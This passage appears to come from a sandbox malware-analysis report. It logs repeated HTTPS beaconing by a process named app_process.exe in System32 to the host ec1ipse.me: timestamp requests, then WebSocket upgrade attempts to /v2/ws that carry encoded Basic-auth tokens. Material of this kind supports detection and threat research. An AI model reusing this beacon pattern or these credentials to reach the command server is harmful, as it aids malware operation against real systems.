2024-11-25 10:11:07 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:07 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:07 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 34 36 37 Data Ascii: 1732529467

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49810	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:07 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:07 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:07 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:07 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 34 36 37 Data Ascii: 1732529467

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49816	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:08 UTC	378	OUT	GET /v2/ws?timestamp=1732529467 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: kjCthDRqmFKGgW61X8+gcg== authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NW9CMW91MzRpU2R3M2tpaEdUV1BEVXFIMm9wR2tpN2FiWEFvenhoUjU0MXpoZkZDTURLclFObWhTTmE3QVFjQlZ3SEw4c3RncGd6UXdlaTFxSjZLZXNNcg==
2024-11-25 10:11:09 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:09 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49817	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:08 UTC	378	OUT	GET /v2/ws?timestamp=1732529467 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: DOpCmHC46XhQJiGoEF5WHA== authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NWRQaXo3TERyeXZQVmVibVBWUzRmbURCRjE4QVV5cWJLMThQR2FLVXJ5emFRUnFaY2pwZTZmZTZYZkVCdTQ0cEdFOGVaZjVDQ0hDRFJwUjZmRkVpc0dnVg==
2024-11-25 10:11:09 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:09 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49829	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:13 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:13 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:13 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:13 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 34 37 33 Data Ascii: 1732529473

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49830	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:13 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:14 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:13 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:14 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 34 37 33 Data Ascii: 1732529473

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49833	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:15 UTC	378	OUT	GET /v2/ws?timestamp=1732529473 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: 06+qmnMtCAEE2s2ywxV3ug== authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86Mm1UTXlqSjZxVTlncUthVXhZTWZtYlZ1eEJ4RjNOaFVBako5TVpYa2NhRldqTXRuTFVxUXJqb0I5VzhZdGp5QWlTS1R1b1VtaU5FMUtUUnhUNkM1WlY0Rg==
2024-11-25 10:11:15 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:15 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49835	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:15 UTC	378	OUT	GET /v2/ws?timestamp=1732529473 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: ACuOhDY8i4K7DEpUKBlvYw== authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6M3lmRFRWNkZlY1ZzYVJhbnpTcGRQVFlWelF0ZEVvbUZUREhhbUx4V2o4UWF6TktvZGlaU1pab0JoSnNNdHVIbWlZU3dKWWZMaXh3TkhkR2E5NVo5NEdxUg==
2024-11-25 10:11:15 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:15 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49848	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:19 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:20 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:20 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:20 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 34 38 30 Data Ascii: 1732529480

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49849	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:20 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:20 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:20 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:20 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 34 38 30 Data Ascii: 1732529480

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49852	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:21 UTC	378	OUT	GET /v2/ws?timestamp=1732529480 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: uN1+11IrwDzGU8rnhMRxNQ== authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M0ZVU2N6UjJndkt3OUZvZE1pbnJSWHd4YVI0THJVa2g1NjZOV2pSa0Z2ekM5a2VCVzhIOXBnR3FtcDhKcjhzQTVUclFCR0VFUXBjVFc2cDhCZUN5MktwSw==
2024-11-25 10:11:22 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:22 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49853	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:21 UTC	374	OUT	GET /v2/ws?timestamp=1732529480 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: H7m8aVRHdQaFbrlh0idjiA== authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6Y29jZUpGRnJWM1dUUXJEQWtOSjlBclZoeGJ0WWtWN2pyd1RMU1ZxRTJ4anJCcmcxZDlQRGltblVmUERORVptQlFob0JGSlQzVENLNkhTWUxSU2tqTWtM
2024-11-25 10:11:22 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:22 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49866	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:26 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:27 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:26 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:27 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 34 38 36 Data Ascii: 1732529486

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49867	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:26 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:27 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:26 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:27 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 34 38 36 Data Ascii: 1732529486

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49871	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:28 UTC	378	OUT	GET /v2/ws?timestamp=1732529486 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: TBZMZ12pMHBBoC4mQVa+yA== authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NHNzd2k1aHROd3hCQzRkTTlYbnNteXdrOFY1Uk10S2czMzRtbm94Uzc4Rnp6WXo4TWdZc3RpeFZqYVlrZzJFbkx5d3NyYzZYQlYyUkRWSnJ0anN0QUhnVQ==
2024-11-25 10:11:28 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:28 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49872	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:28 UTC	374	OUT	GET /v2/ws?timestamp=1732529486 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: nkGHFwCOnEgaFMiW/EcHhA== authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6WGZhUXUzdExuQTFuNTdONUFaemdFSEdwY3F1Q0RlVkJudldBc3NaQUIyNFdkaGozMWh5Y3Rod3oyeERrOENCNE44TlkxU0dqeVBxbkg1VHVRRDR2eEdw
2024-11-25 10:11:28 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:28 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49884	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:33 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:33 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:33 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:33 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 34 39 33 Data Ascii: 1732529493

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49886	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:33 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:33 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:33 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:33 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 34 39 33 Data Ascii: 1732529493

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49890	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:34 UTC	378	OUT	GET /v2/ws?timestamp=1732529493 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: Jcg0jM88I6kJ8E206drpQg== authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NWpvR210UEtUMWtyOE1RQmlNWTl4UzQyNFpUZXRHZFlNQUprMkJ2Y0o1eTlITlRmVkJTZmV0Uk5aOTVkaFl3Zml0OWdlS3BMYkZBNmpuclExVHc2dEQ0Zg==
2024-11-25 10:11:36 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:36 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:36 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49891	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:35 UTC	374	OUT	GET /v2/ws?timestamp=1732529493 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: fNEZjZj4duZrRnwSm600NQ== authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NTVUU1k0NU00TW9RMVlWa29KSENmM2plcnloS0JSOHZpcHNpcmpld2RSaFJFcmdXNkNhWXVBOUJSeHpnNTFaUnBKZEY2clFKZUxzZ2tlbWZmcUhuVUhT
2024-11-25 10:11:36 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:36 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:36 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49906	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:40 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:41 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:40 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:41 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 35 30 30 Data Ascii: 1732529500

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49908	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:40 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:41 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:41 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:41 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 35 30 31 Data Ascii: 1732529501

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49912	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:42 UTC	378	OUT	GET /v2/ws?timestamp=1732529500 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: KngXupv80UoejMuFIlqepg== authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6M1VpaUhnWmpFQjdNNjRmOFlta1lhSkRwVUFRNXgyR25uckFCUFJNcEtZZVBURWRlQjZ3WVVDS0QyQlJiMk5zRGdmU0s5M1RnWGNyZVdDZzhwRHcyd0Z3VA==
2024-11-25 10:11:43 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:43 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:43 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49913	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:42 UTC	374	OUT	GET /v2/ws?timestamp=1732529501 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: j6vtTw5Bu3zHrdEAvVh3Dw== authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86YkNpZnM4YTJGOGdiNXNSendkN1JyaTJiWE5MZlllcUhzV0FQTWFyczZWWEVyUlV2cE51a1BGQ0JRbTM4eHVkWFNkNTFWS010SHYzcjRuQ3JBdEN0N3Vj
2024-11-25 10:11:43 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:43 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:43 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49926	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:48 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:48 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:48 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:48 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 35 30 38 Data Ascii: 1732529508

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49927	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:48 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:48 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:48 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:48 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 35 30 38 Data Ascii: 1732529508

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49932	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:49 UTC	378	OUT	GET /v2/ws?timestamp=1732529508 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: qRN+NG4Nxs/4uirJDFZciQ== authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NHhZZFBiODlRbmpOSDY4WHZKWjhCTmVSY1JNNGQxd2I0UjYybkZ0TXFoa1VKN0xuV1Bad00xUW9EaTVINEdMV1doMkZEUXNyamNTYkJZWFBIdmY1R3FNWg==
2024-11-25 10:11:50 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:50 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:50 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49933	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:49 UTC	378	OUT	GET /v2/ws?timestamp=1732529508 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: X8Pr2Hwo0w5JM2/K0j4UOQ== authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M3BuandoZUw2M1FEelliWmF6dENZQm1UUnV1cmJLUXpSdTc2djVCWWJtcjNUWW96MndVOG5XU3lkcHd2VUt2S0UyaHRCODJNRnVvTkFKU2JWcGpWdFJrbg==
2024-11-25 10:11:50 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:50 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:50 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49943	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:54 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:55 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:54 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:55 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 35 31 34 Data Ascii: 1732529514

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49944	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
